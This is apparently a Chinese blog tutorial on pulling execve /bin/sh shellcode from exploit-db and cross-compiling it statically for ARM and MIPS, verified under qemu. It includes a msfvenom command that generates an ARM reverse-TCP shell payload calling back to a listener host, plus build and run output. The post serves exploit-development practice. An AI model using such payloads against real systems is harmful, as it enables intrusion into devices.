利用 exploit-db 交叉编译 shellcode

shellcode 通用编写方法

获得shellcode一般有如下五种办法:

  1. pwntools: asm(shellcraft.arm.linux.sh(),arch=’arm’)
  2. msfvenom: msfvenom -p linux/armle/shell/reverse_tcp LHOST=192.168.1.100 LPORT=6666 -f py -o msf.py
  3. shell-storm: http://shell-storm.org/shellcode/
  4. exploit-db: https://www.exploit-db.com/shellcodes
  5. 自己编译:StarCTF 2021 RISC-V Pwn Favourite Architecture: shellcode 编写练习

本次简单介绍下如何通过 www.exploit-db.com 获得 shellcode 源码,然后再交叉编译成不同平台的可执行文件的过程,可执行文件的功能是可以通过 /bin/sh 执行 shell 命令。

编写 ARM shellcode

进入网站后选择左侧菜单栏的 SHELLCODE,然后在右上角搜索 ARM 版的 shellcode。

在这里插入图片描述

拷贝代码到新建文件中,重命名为 execve_arm.c,选择合适版本的交叉编译链,静态编译源码为目标架构的可执行程序。

静态编译

armv6l-gcc -o execve_arm execve.c --static

查看程序架构信息

readelf -h execve_arm

ELF 头:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
  类别:                              ELF32
  数据:                              2 补码,小端序 (little endian)
  版本:                              1 (current)
  OS/ABI:                            UNIX - System V
  ABI 版本:                          0
  类型:                              EXEC (可执行文件)
  系统架构:                          ARM
  版本:                              0x1
  入口点地址:               0x816c
  程序头起点:          52 (bytes into file)
  Start of section headers:          67052 (bytes into file)
  标志:             0x4000002, Version4 EABI, <unknown>
  本头的大小:       52 (字节)
  程序头大小:       32 (字节)
  Number of program headers:         4
  节头大小:         40 (字节)
  节头数量:         27
  字符串表索引节头: 24

qemu 本地运行验证是否可用

qemu-arm-static execve_arm

ubuntu@ubuntu-virtual-machine:~/compile$ qemu-arm-static execve_arm 
Shellcode Length:  32
$ ls -al
total 110168
drwxrwxr-x  8 ubuntu ubuntu      4096 Aug  3 11:09 .
drwxr-xr-x 68 ubuntu ubuntu      4096 Aug  3 09:29 ..
drwxr-xr-x 10 ubuntu ubuntu      4096 Apr  5  2009 armv4l
drwxr-xr-x 10 ubuntu ubuntu      4096 Apr  5  2009 armv5l
drwxr-xr-x 12 ubuntu ubuntu      4096 Mar 16  2017 armv6l
-rw-rw-r--  1 ubuntu ubuntu       345 Jul 30 14:07 execve.c
-rwxrwxr-x  1 ubuntu ubuntu     80062 Jul 30 14:08 execve_arm
-rwxrwxr-x  1 ubuntu ubuntu   4049876 Jul 30 14:27 execve_arm7
-rwxrwxr-x  1 ubuntu ubuntu     38067 Jul 30 15:06 execve_mips
-rw-rw-r--  1 ubuntu ubuntu       805 Jul 30 15:06 execve_mips.c
-rwxrwxr-x  1 ubuntu ubuntu     38035 Jul 30 14:58 execve_mipsel
-rw-rw-r--  1 ubuntu ubuntu       486 Jul 30 14:58 execve_mipsel.c
drwxr-xr-x  8 ubuntu ubuntu      4096 Nov 19  2017 gcc-linaro-7.2.1-2017.11-x86_64_arm-linux-gnueabihf
-rw-r--r--  1 ubuntu ubuntu 108376348 Jul 30 14:19 gcc-linaro-7.2.1-2017.11-x86_64_arm-linux-gnueabihf.tar.tar
drwxr-xr-x 11 ubuntu ubuntu      4096 Oct 29  2020 mips
drwxr-xr-x 10 ubuntu ubuntu      4096 Apr  5  2009 mipsel
-rwxrwxr-x  1 ubuntu ubuntu     38172 Jul 30 10:18 shellcode
-rw-rw-r--  1 ubuntu ubuntu       593 Jul 30 10:34 shellcode.c
-rwxrwxr-x  1 ubuntu ubuntu     80137 Jul 30 10:35 shellcode_arm
-rwxrwxr-x  1 ubuntu ubuntu     38172 Jul 30 10:18 shellcode_mipsel
$ 

验证成功,可以继续编译 mips 的版本了。

编写 MIPS shellcode

同样的步骤,在右上角搜索栏搜索 mips,根据实际需要选择大端或小端,我这里选择的是大端。

在这里插入图片描述

复制源码到新建文件中,重命名为 execve_mips.c,选择合适版本的交叉编译链,静态编译源码为目标架构的可执行程序。

静态编译

mips-gcc -o execve_mips execve_mips.c --static

查看程序架构信息

ELF 头:
  Magic:   7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 
  类别:                              ELF32
  数据:                              2 补码,大端序 (big endian)
  版本:                              1 (current)
  OS/ABI:                            UNIX - System V
  ABI 版本:                          0
  类型:                              EXEC (可执行文件)
  系统架构:                          MIPS R3000
  版本:                              0x1
  入口点地址:               0x4002a0
  程序头起点:          52 (bytes into file)
  Start of section headers:          28100 (bytes into file)
  标志:             0x1007, noreorder, pic, cpic, o32, mips1
  本头的大小:       52 (字节)
  程序头大小:       32 (字节)
  Number of program headers:         4
  节头大小:         40 (字节)
  节头数量:         20
  字符串表索引节头: 17

qemu 本地运行验证是否可用

qemu-mips-static execve_mips

ubuntu@ubuntu-virtual-machine:~/compile$ qemu-mips-static execve_mips
sc size 52
$ ls -al
total 110168
drwxrwxr-x  8 ubuntu ubuntu      4096 Aug  3 11:09 .
drwxr-xr-x 68 ubuntu ubuntu      4096 Aug  3 09:29 ..
drwxr-xr-x 10 ubuntu ubuntu      4096 Apr  5  2009 armv4l
drwxr-xr-x 10 ubuntu ubuntu      4096 Apr  5  2009 armv5l
drwxr-xr-x 12 ubuntu ubuntu      4096 Mar 16  2017 armv6l
-rw-rw-r--  1 ubuntu ubuntu       345 Jul 30 14:07 execve.c
-rwxrwxr-x  1 ubuntu ubuntu     80062 Jul 30 14:08 execve_arm
-rwxrwxr-x  1 ubuntu ubuntu   4049876 Jul 30 14:27 execve_arm7
-rwxrwxr-x  1 ubuntu ubuntu     38067 Jul 30 15:06 execve_mips
-rw-rw-r--  1 ubuntu ubuntu       805 Jul 30 15:06 execve_mips.c
-rwxrwxr-x  1 ubuntu ubuntu     38035 Jul 30 14:58 execve_mipsel
-rw-rw-r--  1 ubuntu ubuntu       486 Jul 30 14:58 execve_mipsel.c
drwxr-xr-x  8 ubuntu ubuntu      4096 Nov 19  2017 gcc-linaro-7.2.1-2017.11-x86_64_arm-linux-gnueabihf
-rw-r--r--  1 ubuntu ubuntu 108376348 Jul 30 14:19 gcc-linaro-7.2.1-2017.11-x86_64_arm-linux-gnueabihf.tar.tar
drwxr-xr-x 11 ubuntu ubuntu      4096 Oct 29  2020 mips
drwxr-xr-x 10 ubuntu ubuntu      4096 Apr  5  2009 mipsel
-rwxrwxr-x  1 ubuntu ubuntu     38172 Jul 30 10:18 shellcode
-rw-rw-r--  1 ubuntu ubuntu       593 Jul 30 10:34 shellcode.c
-rwxrwxr-x  1 ubuntu ubuntu     80137 Jul 30 10:35 shellcode_arm
-rwxrwxr-x  1 ubuntu ubuntu     38172 Jul 30 10:18 shellcode_mipsel
$ 

成功运行

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值